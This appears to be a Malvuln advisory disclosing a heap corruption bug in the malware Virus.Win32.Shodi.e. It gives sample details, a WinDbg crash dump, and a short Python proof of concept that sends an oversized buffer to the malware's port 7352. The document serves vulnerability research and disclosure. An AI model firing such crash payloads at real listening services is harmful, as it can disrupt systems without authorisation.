Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/37d4a5ba123dd32f1e2c4ba0be14e77c_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Virus.Win32.Shodi.e Vulnerability: Heap Corruption Description: The virus listens on TCP port 7352. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption. Type: PE32 MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c Vuln ID: MVID-2021-0281 Dropped files: Explorer.eXE,Explorer.usr,r_server.exe ASLR: False DEP: False Safe SEH: True Disclosure: 07/03/2021 Memory Dump: (1870.1494): C++ EH exception - code e06d7363 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000003 edx=00000000 esi=00000003 edi=00000003 eip=77daed3c esp=04b7f4d4 ebp=04b7f664 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 77daed3c c21400 ret 14h 0:007> .ecxr eax=04b7fe10 ebx=04b7fec0 ecx=00000003 edx=00000000 esi=750c3d38 edi=7373f910 eip=75ec08f2 esp=04b7fe10 ebp=04b7fe68 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:04b7fe64=c54505cd 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Explorer.eXE *** ERROR: Module load completed but symbols could not be loaded for Explorer.eXE Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: KERNELBASE!RaiseException+62 75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 75ec08f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: e06d7363 (C++ EH exception) ExceptionFlags: 00000001 NumberParameters: 3 Parameter[0]: 19930520 Parameter[1]: 04b7fec0 Parameter[2]: 7373f910 PROCESS_NAME: Explorer.eXE ERROR_CODE: (NTSTATUS) 0xe06d7363 - EXCEPTION_CODE: (NTSTATUS) 0xe06d7363 - EXCEPTION_PARAMETER1: 19930520 EXCEPTION_PARAMETER2: 04b7fec0 EXCEPTION_PARAMETER3: 7373f910 MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001494 DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun LAST_CONTROL_TRANSFER: from 750fa222 to 75ec08f2 STACK_TEXT: 04b7fe68 750fa222 e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x62 04b7feb0 7369679b 04b7fec0 7373f910 737542e8 msvcrt!_CxxThrowException+0x72 04b7fec4 7368f3c7 0000041d 00000200 00000410 mfc42!AfxThrowMemoryException+0x1b 04b7fee4 7368f103 0000041d 0019fea4 73757b18 mfc42!operator new+0x1a467 04b7ff00 73678abf 00000410 004051ec 00000410 mfc42!CString::AllocBuffer+0x16933 04b7ff1c 7369e5bc 00000410 04940488 00000000 mfc42!CString::GetBuffer+0x2f 04b7ff30 7369e474 004051d4 04b7ff50 04b7ff80 mfc42!CString::FormatV+0x2c 04b7ff40 00401814 0019fea4 004051d4 73757b24 mfc42!CString::Format+0x14 WARNING: Stack unwind information not available. Following frames may be wrong. 04b7ff80 755a8654 00000000 755a8630 757b7853 Explorer+0x1814 04b7ff94 77da4a77 00000000 c27680bf 00000000 kernel32!BaseThreadInitThunk+0x24 04b7ffdc 77da4a47 ffffffff 77dc9ec5 00000000 ntdll!__RtlUserThreadStart+0x2f 04b7ffec 00000000 0040173a 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~7s; .ecxr ; kb FOLLOWUP_IP: mfc42!AfxThrowMemoryException+1b 7369679b cc int 3 SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: mfc42!AfxThrowMemoryException+1b FOLLOWUP_NAME: MachineOwner MODULE_NAME: mfc42 IMAGE_NAME: mfc42.dll DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78 FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_e06d7363_mfc42.dll!AfxThrowMemoryException BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_mfc42!AfxThrowMemoryException+1b Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=7352 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*9402 s.send(PAYLOAD) s.close() print("Virus.Win32.Shodi.e / Heap Corruption") print("MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).